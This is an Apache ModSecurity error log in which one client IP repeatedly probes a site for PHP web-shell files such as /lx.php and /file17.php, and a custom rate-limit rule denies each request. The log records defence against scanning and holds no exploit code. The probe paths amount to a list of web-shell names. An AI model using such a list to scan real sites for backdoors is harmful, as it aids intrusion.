[Thu Jan 29 08:01:36.336103 2026] [:error] [pid 19071:tid 19147] [client 20.219.59.84:51602] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "aXqjYJfa8Ix5wWmtmJzDuwAAAI4"]
[Thu Jan 29 08:01:36.858947 2026] [:error] [pid 20578:tid 20615] [client 20.219.59.84:51610] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "aXqjYA6UX7yOMwQFiyecEwAAAgI"]
[Thu Jan 29 08:01:37.281158 2026] [:error] [pid 20576:tid 20593] [client 20.219.59.84:16952] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "aXqjYSrDZws_FlQGi9fmXAAAAcc"]
[Thu Jan 29 08:01:37.890792 2026] [:error] [pid 20579:tid 20666] [client 20.219.59.84:16932] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classgoto24.php"] [unique_id "aXqjYTVXNopcNyjJc9WDYAAAAlc"]
[Thu Jan 29 08:01:38.352919 2026] [:error] [pid 20580:tid 20679] [client 20.219.59.84:51618] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classgoto24.php"] [unique_id "aXqjYpCZ5HHdXPmeL59pvQAAAos"]
[Thu Jan 29 08:01:38.864160 2026] [:error] [pid 20579:tid 20668] [client 20.219.59.84:51593] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classgoto24.php"] [unique_id "aXqjYjVXNopcNyjJc9WDYgAAAlg"]
[Thu Jan 29 08:01:39.432964 2026] [:error] [pid 20580:tid 20672] [client 20.219.59.84:16918] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classgoto24.php"] [unique_id "aXqjY5CZ5HHdXPmeL59pvgAAAoQ"]
[Thu Jan 29 08:01:39.727752 2026] [:error] [pid 19070:tid 19117] [client 20.219.59.84:51612] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lx.php"] [unique_id "aXqjY7ou83lIon_aKgY28QAAAEs"]
[Thu Jan 29 08:01:40.042631 2026] [:error] [pid 20579:tid 20654] [client 20.219.59.84:51635] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lx.php"] [unique_id "aXqjZDVXNopcNyjJc9WDZAAAAk0"]
[Thu Jan 29 08:01:40.381267 2026] [:error] [pid 20486:tid 20502] [client 20.219.59.84:51608] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lx.php"] [unique_id "aXqjZHgqSZb6GBx5nnMVqgAAAQ0"]
[Thu Jan 29 08:01:40.997982 2026] [:error] [pid 20576:tid 20594] [client 20.219.59.84:51599] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lx.php"] [unique_id "aXqjZCrDZws_FlQGi9fmXgAAAcg"]
[Thu Jan 29 08:01:41.469196 2026] [:error] [pid 19069:tid 19080] [client 20.219.59.84:16913] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/die.php"] [unique_id "aXqjZfDHsRM4BJ9a4Qt47AAAAAI"]
[Thu Jan 29 08:01:42.037947 2026] [:error] [pid 19069:tid 19082] [client 20.219.59.84:51644] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/die.php"] [unique_id "aXqjZvDHsRM4BJ9a4Qt47wAAAAQ"]
[Thu Jan 29 08:01:42.424547 2026] [:error] [pid 20486:tid 20492] [client 20.219.59.84:51588] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/die.php"] [unique_id "aXqjZngqSZb6GBx5nnMVsAAAAQM"]
[Thu Jan 29 08:01:42.790153 2026] [:error] [pid 20519:tid 20549] [client 20.219.59.84:51603] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/die.php"] [unique_id "aXqjZgo4s4fyROrkyRlYTQAAAYE"]
[Thu Jan 29 08:01:43.251011 2026] [:error] [pid 20579:tid 20647] [client 20.219.59.84:51639] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaaa.php"] [unique_id "aXqjZzVXNopcNyjJc9WDagAAAkY"]
[Thu Jan 29 08:01:43.783036 2026] [:error] [pid 19069:tid 19092] [client 20.219.59.84:16916] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaaa.php"] [unique_id "aXqjZ_DHsRM4BJ9a4Qt4-QAAAA4"]
[Thu Jan 29 08:01:44.105708 2026] [:error] [pid 20486:tid 20499] [client 20.219.59.84:16929] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaaa.php"] [unique_id "aXqjaHgqSZb6GBx5nnMVtgAAAQo"]
[Thu Jan 29 08:01:44.540979 2026] [:error] [pid 20580:tid 20689] [client 20.219.59.84:16907] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaaa.php"] [unique_id "aXqjaJCZ5HHdXPmeL59pxQAAApU"]
[Thu Jan 29 08:01:44.984773 2026] [:error] [pid 20578:tid 20625] [client 20.219.59.84:16910] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbbb.php"] [unique_id "aXqjaA6UX7yOMwQFiyecGgAAAgw"]
[Thu Jan 29 08:01:45.774466 2026] [:error] [pid 20519:tid 20553] [client 20.219.59.84:16921] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbbb.php"] [unique_id "aXqjaQo4s4fyROrkyRlYUQAAAYU"]
[Thu Jan 29 08:01:46.263775 2026] [:error] [pid 19071:tid 19138] [client 20.219.59.84:51631] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbbb.php"] [unique_id "aXqjapfa8Ix5wWmtmJzDygAAAIU"]
[Thu Jan 29 08:01:46.594978 2026] [:error] [pid 19069:tid 19100] [client 20.219.59.84:16935] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bbbb.php"] [unique_id "aXqjavDHsRM4BJ9a4Qt4_wAAABY"]
[Thu Jan 29 08:01:46.984576 2026] [:error] [pid 20486:tid 20513] [client 20.219.59.84:51627] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aXqjangqSZb6GBx5nnMVwgAAARg"]
[Thu Jan 29 08:01:47.358730 2026] [:error] [pid 19071:tid 19141] [client 20.219.59.84:16950] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aXqja5fa8Ix5wWmtmJzDzgAAAIg"]
[Thu Jan 29 08:01:47.659893 2026] [:error] [pid 19071:tid 19153] [client 20.219.59.84:51596] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aXqja5fa8Ix5wWmtmJzDzwAAAJQ"]
[Thu Jan 29 08:01:48.145862 2026] [:error] [pid 20580:tid 20684] [client 20.219.59.84:16905] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aXqjbJCZ5HHdXPmeL59p0AAAApA"]
[Thu Jan 29 08:01:48.455636 2026] [:error] [pid 20580:tid 20678] [client 20.219.59.84:51625] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aXqjbJCZ5HHdXPmeL59p0QAAAoo"]
[Thu Jan 29 08:01:48.744781 2026] [:error] [pid 20486:tid 20494] [client 20.219.59.84:16915] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aXqjbHgqSZb6GBx5nnMVygAAAQU"]
[Thu Jan 29 08:01:49.124342 2026] [:error] [pid 20580:tid 20673] [client 20.219.59.84:16943] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aXqjbZCZ5HHdXPmeL59p0gAAAoU"]
[Thu Jan 29 08:01:49.584632 2026] [:error] [pid 20486:tid 20511] [client 20.219.59.84:16936] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aXqjbXgqSZb6GBx5nnMVywAAARY"]
[Thu Jan 29 08:01:49.868037 2026] [:error] [pid 20580:tid 20674] [client 20.219.59.84:16949] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aXqjbZCZ5HHdXPmeL59p0wAAAoY"]
[Thu Jan 29 08:01:50.350369 2026] [:error] [pid 20486:tid 20503] [client 20.219.59.84:16917] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aXqjbngqSZb6GBx5nnMVzQAAAQ4"]
[Thu Jan 29 08:01:50.682610 2026] [:error] [pid 20519:tid 20552] [client 20.219.59.84:16914] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aXqjbgo4s4fyROrkyRlYVwAAAYQ"]
[Thu Jan 29 08:01:50.973769 2026] [:error] [pid 20486:tid 20493] [client 20.219.59.84:51640] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aXqjbngqSZb6GBx5nnMVzgAAAQQ"]
[Thu Jan 29 08:01:51.391329 2026] [:error] [pid 19177:tid 19191] [client 20.219.59.84:16924] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file2.php"] [unique_id "aXqjb3ipGz0PT8TrQv4HOQAAAMw"]
[Thu Jan 29 08:01:51.729305 2026] [:error] [pid 19070:tid 19120] [client 20.219.59.84:51632] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file2.php"] [unique_id "aXqjb7ou83lIon_aKgY3CgAAAE4"]
[Thu Jan 29 08:01:52.176437 2026] [:error] [pid 19070:tid 19125] [client 20.219.59.84:51624] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file2.php"] [unique_id "aXqjcLou83lIon_aKgY3DAAAAFM"]
[Thu Jan 29 08:01:52.628325 2026] [:error] [pid 19069:tid 19086] [client 20.219.59.84:16900] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file2.php"] [unique_id "aXqjcPDHsRM4BJ9a4Qt5DwAAAAg"]
[Thu Jan 29 08:01:52.950250 2026] [:error] [pid 19070:tid 19106] [client 20.219.59.84:46283] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aXqjcLou83lIon_aKgY3EQAAAEA"]
[Thu Jan 29 08:01:53.541652 2026] [:error] [pid 19177:tid 19199] [client 20.219.59.84:51615] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aXqjcXipGz0PT8TrQv4HPgAAANQ"]
[Thu Jan 29 08:01:53.923244 2026] [:error] [pid 19071:tid 19152] [client 20.219.59.84:51604] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aXqjcZfa8Ix5wWmtmJzD2gAAAJM"]
[Thu Jan 29 08:01:54.412665 2026] [:error] [pid 19070:tid 19111] [client 20.219.59.84:51647] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aXqjcrou83lIon_aKgY3FgAAAEU"]
[Thu Jan 29 08:01:55.555667 2026] [:error] [pid 19069:tid 19088] [client 20.219.59.84:16908] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file17.php"] [unique_id "aXqjc_DHsRM4BJ9a4Qt5FQAAAAo"]
[Thu Jan 29 08:01:56.343801 2026] [:error] [pid 19069:tid 19101] [client 20.219.59.84:16923] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file17.php"] [unique_id "aXqjdPDHsRM4BJ9a4Qt5GAAAABc"]
[Thu Jan 29 08:01:56.983456 2026] [:error] [pid 20576:tid 20586] [client 20.219.59.84:51646] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file17.php"] [unique_id "aXqjdCrDZws_FlQGi9fmdAAAAcA"]
[Thu Jan 29 08:01:57.535144 2026] [:error] [pid 20580:tid 20673] [client 20.219.59.84:51589] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file17.php"] [unique_id "aXqjdZCZ5HHdXPmeL59p3AAAAoU"]
[Thu Jan 29 08:01:58.005655 2026] [:error] [pid 20580:tid 20691] [client 20.219.59.84:51613] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aXqjdpCZ5HHdXPmeL59p3gAAApc"]
[Thu Jan 29 08:01:58.411615 2026] [:error] [pid 19069:tid 19081] [client 20.219.59.84:51621] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aXqjdvDHsRM4BJ9a4Qt5HAAAAAM"]
[Thu Jan 29 08:01:58.791162 2026] [:error] [pid 19071:tid 19133] [client 20.219.59.84:51606] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aXqjdpfa8Ix5wWmtmJzD4AAAAIA"]
[Thu Jan 29 08:01:59.261979 2026] [:error] [pid 19069:tid 19085] [client 20.219.59.84:16922] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aXqjd_DHsRM4BJ9a4Qt5HgAAAAc"]
[Thu Jan 29 08:01:59.564279 2026] [:error] [pid 20486:tid 20503] [client 20.219.59.84:16934] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "aXqjd3gqSZb6GBx5nnMV5AAAAQ4"]
[Thu Jan 29 08:02:00.675466 2026] [:error] [pid 20519:tid 20565] [client 20.219.59.84:51611] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "aXqjeAo4s4fyROrkyRlYYAAAAZE"]
[Thu Jan 29 08:02:01.823640 2026] [:error] [pid 19071:tid 19139] [client 20.219.59.84:47617] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "aXqjeZfa8Ix5wWmtmJzD5wAAAIY"]
[Thu Jan 29 08:02:02.321903 2026] [:error] [pid 19069:tid 19082] [client 20.219.59.84:16926] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "aXqjevDHsRM4BJ9a4Qt5IwAAAAQ"]
[Thu Jan 29 08:02:02.717848 2026] [:error] [pid 20486:tid 20498] [client 20.219.59.84:47666] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aXqjengqSZb6GBx5nnMV7AAAAQk"]
